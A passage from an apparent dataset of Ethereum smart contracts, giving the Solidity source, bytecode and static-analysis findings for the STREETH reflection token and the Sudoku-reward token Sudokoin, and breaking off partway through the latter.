ffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561123d57fe5b818303905092915050565b600080828401905083811015151561125c57fe5b80915050929150505600a165627a7a7230582085343881dd2d5f361c7b2fde891e63589c8e5189cb935fd5a9a2b649551ea5a80029 | {"success": true, "error": null, "results": {}} | 10,553 |
0xb377e67cfa79d4029aa5fa09d23858b23fa5919b | // SPDX-License-Identifier: NOLICENSE
/*
___ _____ ___ ___ ___ _____ _ _
/ __| |_ _| | _ \ | __| | __| |_ _| | || |
\__ \ | | | / | _| | _| | | | __ |
|___/ |_| |_|_\ |___| |___| |_| |_||_|
Streeth curates, mints and auctions Street Art on the Ethereum blockchain.
Website: https://www.streeth.io/ Contacts: info@streeth.io
*/
pragma solidity ^0.8.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract STREETH is Context, IERC20, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
bool public swapEnabled;
bool private swapping;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 300_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 50000 * 10**_decimals;
string private constant _name = "STREETH";
string private constant _symbol = "STREETH";
address public marketingWallet = 0x5cd0a4043cFa2776bFeD01E5DE11cA8f86bb8153;
struct feeRatesStruct {
uint256 rfi;
uint256 marketing;
}
feeRatesStruct public feeRates = feeRatesStruct(
{rfi: 1,
marketing: 1
});
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
}
event FeesChanged();
event TradingEnabled(uint256 startDate);
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor (address routerAddress) {
IRouter _router = IRouter(routerAddress);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) internal {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) internal {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
totFeesPaid.marketing +=tMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tMarketing;
}
_rOwned[address(this)] +=rMarketing;
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*feeRates.rfi/100;
s.tMarketing = tAmount*feeRates.marketing/100;
s.tTransferAmount = tAmount-s.tRfi-s.tMarketing;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0);
}
rRfi = s.tRfi*currentRate;
rMarketing = s.tMarketing*currentRate;
rTransferAmount = rAmount-rRfi-rMarketing;
return (rAmount, rTransferAmount, rRfi,rMarketing);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair){
swapAndSendToFee(swapTokensAtAmount);
}
bool takeFee = true;
if(!(_isExcludedFromFee[from] || _isExcludedFromFee[to]) && to != pair && from != pair){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] ) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
_reflectRfi(s.rRfi, s.tRfi);
_takeMarketing(s.rMarketing,s.tMarketing);
emit Transfer(sender, recipient, s.tTransferAmount);
emit Transfer(sender, address(this), s.tMarketing);
}
function swapAndSendToFee(uint256 tokens) private lockTheSwap{
swapTokensForETH(tokens, marketingWallet);
}
function swapTokensForETH(uint256 tokenAmount, address recipient) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
payable(recipient),
block.timestamp
);
}
function updateMarketingWallet(address newWallet) external onlyOwner{
marketingWallet = newWallet;
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
receive() external payable{
}
} | 0x6080604052600436106101d15760003560e01c806388f82020116100f7578063a9059cbb11610095578063e2f4560511610064578063e2f4560514610591578063ea2f0b37146105a7578063f2fde38b146105c7578063f887ea40146105e757600080fd5b8063a9059cbb146104eb578063aacebbe31461050b578063d257b34f1461052b578063dd62ed3e1461054b57600080fd5b806395d89b41116100d157806395d89b41146101dd5780639ba5e4d514610490578063a457c2d7146104ab578063a8aa1b31146104cb57600080fd5b806388f82020146104195780638da5cb5b14610452578063924de9b71461047057600080fd5b8063437823ec1161016f57806370a082311161013e57806370a082311461037c578063715018a61461039c57806375f0a874146103b15780637688c584146103e957600080fd5b8063437823ec146102e75780634549b039146103095780635342acb4146103295780636ddd17131461036257600080fd5b806323b872dd116101ab57806323b872dd1461026b5780632d8381191461028b578063313ce567146102ab57806339509351146102c757600080fd5b806306fdde03146101dd578063095ea7b31461021c57806318160ddd1461024c57600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201825260078152660a6a8a48a8aa8960cb1b60208201529051610213919061187a565b60405180910390f35b34801561022857600080fd5b5061023c6102373660046117ee565b61060d565b6040519015158152602001610213565b34801561025857600080fd5b506009545b604051908152602001610213565b34801561027757600080fd5b5061023c6102863660046117ad565b610624565b34801561029757600080fd5b5061025d6102a6366004611835565b6106da565b3480156102b757600080fd5b5060405160098152602001610213565b3480156102d357600080fd5b5061023c6102e23660046117ee565b61075e565b3480156102f357600080fd5b5061030761030236600461173a565b610795565b005b34801561031557600080fd5b5061025d61032436600461184e565b6107e3565b34801561033557600080fd5b5061023c61034436600461173a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561036e57600080fd5b5060075461023c9060ff1681565b34801561038857600080fd5b5061025d61039736600461173a565b61086d565b3480156103a857600080fd5b506103076108cc565b3480156103bd57600080fd5b50600c546103d1906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103f557600080fd5b50600d54600e54610404919082565b60408051928352602083019190915201610213565b34801561042557600080fd5b5061023c61043436600461173a565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561045e57600080fd5b506000546001600160a01b03166103d1565b34801561047c57600080fd5b5061030761048b36600461181a565b610902565b34801561049c57600080fd5b50600f54601054610404919082565b3480156104b757600080fd5b5061023c6104c63660046117ee565b61093f565b3480156104d757600080fd5b506008546103d1906001600160a01b031681565b3480156104f757600080fd5b5061023c6105063660046117ee565b6109da565b34801561051757600080fd5b5061030761052636600461173a565b6109e7565b34801561053757600080fd5b50610307610546366004611835565b610a33565b34801561055757600080fd5b5061025d610566366004611774565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561059d57600080fd5b5061025d600b5481565b3480156105b357600080fd5b506103076105c236600461173a565b610a79565b3480156105d357600080fd5b506103076105e236600461173a565b610ac4565b3480156105f357600080fd5b506007546103d1906201000090046001600160a01b031681565b600061061a338484610b5f565b5060015b92915050565b6000610631848484610c83565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156106bb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106cf85336106ca8685611abc565b610b5f565b506001949350505050565b6000600a548211156107415760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106b2565b600061074b610f13565b9050610757818461198d565b9392505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161061a9185906106ca908690611975565b6000546001600160a01b031633146107bf5760405162461bcd60e51b81526004016106b2906118cf565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b60006009548311156108375760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016106b2565b81610853576000610849846001610f36565b51915061061e9050565b6000610860846001610f36565b60200151915061061e9050565b6001600160a01b03811660009081526005602052604081205460ff16156108aa57506001600160a01b031660009081526002602052604090205490565b6001600160a01b03821660009081526001602052604090205461061e906106da565b6000546001600160a01b031633146108f65760405162461bcd60e51b81526004016106b2906118cf565b6109006000610fac565b565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016106b2906118cf565b6007805460ff1916911515919091179055565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156109c15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106b2565b6109d033856106ca8685611abc565b5060019392505050565b600061061a338484610c83565b6000546001600160a01b03163314610a115760405162461bcd60e51b81526004016106b2906118cf565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b81526004016106b2906118cf565b610a696009600a6119f2565b610a739082611a9d565b600b5550565b6000546001600160a01b03163314610aa35760405162461bcd60e51b81526004016106b2906118cf565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610aee5760405162461bcd60e51b81526004016106b2906118cf565b6001600160a01b038116610b535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106b2565b610b5c81610fac565b50565b6001600160a01b038316610bc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106b2565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106b2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106b2565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106b2565b60008111610dab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106b2565b610db48361086d565b811115610e1d5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016106b2565b6000610e283061086d565b600b5460075491925082101590610100900460ff16158015610e4c575060075460ff165b8015610e555750805b8015610e6f57506008546001600160a01b03868116911614155b15610e7f57610e7f600b54610ffc565b6001600160a01b03851660009081526004602052604090205460019060ff1680610ec157506001600160a01b03851660009081526004602052604090205460ff165b158015610edc57506008546001600160a01b03868116911614155b8015610ef657506008546001600160a01b03878116911614155b15610eff575060005b610f0b86868684611030565b505050505050565b6000806000610f20611248565b9092509050610f2f818361198d565b9250505090565b610f766040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b610f8083836113cb565b9050610f95818484610f90610f13565b611480565b606085015260408401526020830152815292915050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6007805461ff001916610100179055600c546110229082906001600160a01b03166114eb565b506007805461ff0019169055565b600061103c8383610f36565b6001600160a01b03861660009081526005602052604090205490915060ff161561109e576001600160a01b038516600090815260026020526040902054611084908490611abc565b6001600160a01b0386166000908152600260205260409020555b6001600160a01b03841660009081526005602052604090205460ff16156111015760808101516001600160a01b0385166000908152600260205260409020546110e79190611975565b6001600160a01b0385166000908152600260205260409020555b80516001600160a01b0386166000908152600160205260409020546111269190611abc565b6001600160a01b038087166000908152600160209081526040808320949094558401519187168152919091205461115d9190611975565b6001600160a01b038516600090815260016020526040908190209190915581015160a082015161118d919061167a565b61119f81606001518260c001516116af565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83608001516040516111e891815260200190565b60405180910390a3306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161123991815260200190565b60405180910390a35050505050565b600a546009546000918291825b60065481101561139a5782600160006006848154811061127757611277611b04565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806112e257508160026000600684815481106112bb576112bb611b04565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156112f857600a54600954945094505050509091565b600160006006838154811061130f5761130f611b04565b60009182526020808320909101546001600160a01b0316835282019290925260400190205461133e9084611abc565b9250600260006006838154811061135757611357611b04565b60009182526020808320909101546001600160a01b031683528201929092526040019020546113869083611abc565b91508061139281611ad3565b915050611255565b50600954600a546113ab919061198d565b8210156113c257600a546009549350935050509091565b90939092509050565b61140b6040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b8161141c576080810183905261061e565b600d5460649061142c9085611a9d565b611436919061198d565b60a0820152600e5460649061144b9085611a9d565b611455919061198d565b60c0820181905260a082015161146b9085611abc565b6114759190611abc565b608082015292915050565b600080808061148f8588611a9d565b9350856114a4575082915060009050806114e0565b848860a001516114b49190611a9d565b9150848860c001516114c69190611a9d565b9050806114d38386611abc565b6114dd9190611abc565b92505b945094509450949050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061152057611520611b04565b60200260200101906001600160a01b031690816001600160a01b031681525050600760029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561158e57600080fd5b505afa1580156115a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c69190611757565b816001815181106115d9576115d9611b04565b6001600160a01b0392831660209182029290920101526007546116059130916201000090041685610b5f565b60075460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac94790611643908690600090869088904290600401611904565b600060405180830381600087803b15801561165d57600080fd5b505af1158015611671573d6000803e3d6000fd5b50505050505050565b81600a600082825461168c9190611abc565b9091555050600f80548291906000906116a6908490611975565b90915550505050565b80600f60010160008282546116c49190611975565b90915550503060009081526005602052604090205460ff1615611706573060009081526002602052604081208054839290611700908490611975565b90915550505b30600090815260016020526040812080548492906116a6908490611975565b8035801515811461173557600080fd5b919050565b60006020828403121561174c57600080fd5b813561075781611b1a565b60006020828403121561176957600080fd5b815161075781611b1a565b6000806040838503121561178757600080fd5b823561179281611b1a565b915060208301356117a281611b1a565b809150509250929050565b6000806000606084860312156117c257600080fd5b83356117cd81611b1a565b925060208401356117dd81611b1a565b929592945050506040919091013590565b6000806040838503121561180157600080fd5b823561180c81611b1a565b946020939093013593505050565b60006020828403121561182c57600080fd5b61075782611725565b60006020828403121561184757600080fd5b5035919050565b6000806040838503121561186157600080fd5b8235915061187160208401611725565b90509250929050565b600060208083528351808285015260005b818110156118a75785810183015185820160400152820161188b565b818111156118b9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119545784516001600160a01b03168352938301939183019160010161192f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198857611988611aee565b500190565b6000826119aa57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156119ea5781600019048211156119d0576119d0611aee565b808516156119dd57918102915b93841c93908002906119b4565b509250929050565b600061075760ff841683600082611a0b5750600161061e565b81611a185750600061061e565b8160018114611a2e5760028114611a3857611a54565b600191505061061e565b60ff841115611a4957611a49611aee565b50506001821b61061e565b5060208310610133831016604e8410600b8410161715611a77575081810a61061e565b611a8183836119af565b8060001904821115611a9557611a95611aee565b029392505050565b6000816000190483118215151615611ab757611ab7611aee565b500290565b600082821015611ace57611ace611aee565b500390565b6000600019821415611ae757611ae7611aee565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114610b5c57600080fdfea26469706673582212205e2a9bac1ba2ca229cb8600d64f4ae1c70886204e03ef4c0dc7daff5cb5c4a1464736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,554 |
0x21aec0a028d7adec228595b24439c7eb969edd5f | pragma solidity ^0.4.13;
contract Sudokoin {
uint supply = 203462379904501283815424;
uint public boards = 0; // max 6670903752021072936960
string public constant name = "Sudokoin";
string public constant symbol = "SDK";
uint8 public constant decimals = 12;
mapping (address => mapping (address => uint)) allowances;
mapping (address => uint) balances;
mapping (uint => bool) public claimedBoards;
event Approval(address indexed _owner, address indexed _spender, uint _value);
event BoardClaimed(uint _board, uint _no, address _by);
event Burn(address indexed _from, uint _value);
event Transfer(address indexed _from, address indexed _to, uint _value);
function allowance(address _owner, address _spender) constant returns (uint remaining) {
remaining = allowances[_owner][_spender];
}
function balanceOf(address _owner) constant returns (uint balance) {
balance = balances[_owner];
}
function totalSupply() constant returns (uint totalSupply) {
totalSupply = supply;
}
function claimBoard(uint[81] _b) returns (bool success) {
require(validateBoard(_b));
uint cb = compressBoard(_b);
if (!claimedBoards[cb]) {
claimedBoards[cb] = true;
balances[msg.sender] += nextReward(boards);
boards += 1;
BoardClaimed(boards, cb, msg.sender);
return true;
}
return false;
}
function approve(address _spender, uint _value) returns (bool success) {
require(msg.data.length >= 68);
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
require(msg.data.length >= 68);
require(_to != 0x0); // use burn!
require(_value <= balances[msg.sender]);
require(_value + balances[_to] >= balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
require(msg.data.length >= 100);
require(_to != 0x0); // use burnFrom!
require(_value <= balances[_from]);
require(_value <= allowances[_from][msg.sender]);
require(_value + balances[_to] >= balances[_to]);
balances[_from] -= _value;
balances[_to] += _value;
allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function burn(uint _value) returns (bool success) {
require(_value <= balances[msg.sender]);
balances[msg.sender] -= _value;
supply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint _value) returns (bool success) {
require(_value <= balances[_from]);
require(_value <= allowances[_from][msg.sender]);
balances[_from] -= _value;
allowances[_from][msg.sender] -= _value;
supply -= _value;
Burn(_from, _value);
return true;
}
// compressBoard removes last col and last row and joins digits into one number.
function compressBoard(uint[81] _b) constant returns (uint) {
uint cb = 0;
uint mul = 1000000000000000000000000000000000000000000000000000000000000000;
for (uint i = 0; i < 72; i++) {
if (i % 9 == 8) {
continue;
}
cb = cb + mul * _b[i];
mul = mul / 10;
}
return cb;
}
function validateBoard(uint[81] _b) constant returns (bool) {
return
// rows
validateSet( _b[0], _b[1], _b[2], _b[3], _b[4], _b[5], _b[6], _b[7], _b[8]) &&
validateSet( _b[9],_b[10],_b[11],_b[12],_b[13],_b[14],_b[15],_b[16],_b[17]) &&
validateSet(_b[18],_b[19],_b[20],_b[21],_b[22],_b[23],_b[24],_b[25],_b[26]) &&
validateSet(_b[27],_b[28],_b[29],_b[30],_b[31],_b[32],_b[33],_b[34],_b[35]) &&
validateSet(_b[36],_b[37],_b[38],_b[39],_b[40],_b[41],_b[42],_b[43],_b[44]) &&
validateSet(_b[45],_b[46],_b[47],_b[48],_b[49],_b[50],_b[51],_b[52],_b[53]) &&
validateSet(_b[54],_b[55],_b[56],_b[57],_b[58],_b[59],_b[60],_b[61],_b[62]) &&
validateSet(_b[63],_b[64],_b[65],_b[66],_b[67],_b[68],_b[69],_b[70],_b[71]) &&
validateSet(_b[72],_b[73],_b[74],_b[75],_b[76],_b[77],_b[78],_b[79],_b[80]) &&
// cols
validateSet(_b[0], _b[9],_b[18],_b[27],_b[36],_b[45],_b[54],_b[63],_b[72]) &&
validateSet(_b[1],_b[10],_b[19],_b[28],_b[37],_b[46],_b[55],_b[64],_b[73]) &&
validateSet(_b[2],_b[11],_b[20],_b[29],_b[38],_b[47],_b[56],_b[65],_b[74]) &&
validateSet(_b[3],_b[12],_b[21],_b[30],_b[39],_b[48],_b[57],_b[66],_b[75]) &&
validateSet(_b[4],_b[13],_b[22],_b[31],_b[40],_b[49],_b[58],_b[67],_b[76]) &&
validateSet(_b[5],_b[14],_b[23],_b[32],_b[41],_b[50],_b[59],_b[68],_b[77]) &&
validateSet(_b[6],_b[15],_b[24],_b[33],_b[42],_b[51],_b[60],_b[69],_b[78]) &&
validateSet(_b[7],_b[16],_b[25],_b[34],_b[43],_b[52],_b[61],_b[70],_b[79]) &&
validateSet(_b[8],_b[17],_b[26],_b[35],_b[44],_b[53],_b[62],_b[71],_b[80]) &&
// blocks
validateSet( _b[0], _b[1], _b[2], _b[9],_b[10],_b[11],_b[18],_b[19],_b[20]) &&
validateSet(_b[27],_b[28],_b[29],_b[36],_b[37],_b[38],_b[45],_b[46],_b[47]) &&
validateSet(_b[54],_b[55],_b[56],_b[63],_b[64],_b[65],_b[72],_b[73],_b[74]) &&
validateSet( _b[3], _b[4], _b[5],_b[12],_b[13],_b[14],_b[21],_b[22],_b[23]) &&
validateSet(_b[30],_b[31],_b[32],_b[39],_b[40],_b[41],_b[48],_b[49],_b[50]) &&
validateSet(_b[57],_b[58],_b[59],_b[66],_b[67],_b[68],_b[75],_b[76],_b[77]) &&
validateSet( _b[6], _b[7], _b[8],_b[15],_b[16],_b[17],_b[24],_b[25],_b[26]) &&
validateSet(_b[33],_b[34],_b[35],_b[42],_b[43],_b[44],_b[51],_b[52],_b[53]) &&
validateSet(_b[60],_b[61],_b[62],_b[69],_b[70],_b[71],_b[78],_b[79],_b[80]);
}
function validateSet(uint _v1, uint _v2, uint _v3, uint _v4, uint _v5, uint _v6, uint _v7, uint _v8, uint _v9) private returns (bool) {
uint set = addToSet(0, _v1);
if (setIncludes(set, _v2)) { return false; }
set = addToSet(set, _v2);
if (setIncludes(set, _v3)) { return false; }
set = addToSet(set, _v3);
if (setIncludes(set, _v4)) { return false; }
set = addToSet(set, _v4);
if (setIncludes(set, _v5)) { return false; }
set = addToSet(set, _v5);
if (setIncludes(set, _v6)) { return false; }
set = addToSet(set, _v6);
if (setIncludes(set, _v7)) { return false; }
set = addToSet(set, _v7);
if (setIncludes(set, _v8)) { return false; }
set = addToSet(set, _v8);
if (setIncludes(set, _v9)) { return false; }
return true;
}
function setIncludes(uint _set, uint _number) private returns (bool success) {
return _number == 0 || _number > 9 || _set & (1 << _number) != 0;
}
function addToSet(uint _set, uint _number) private returns (uint set) {
return _set | (1 << _number);
}
// returns reward for the next submitted board, so reward first and then increase boards!
function nextReward(uint _bNo) constant returns (uint) {
if (_bNo < 11572) { return 576460752303423488; } // tier 1
if (_bNo < 23144) { return 288230376151711744; } // tier 2
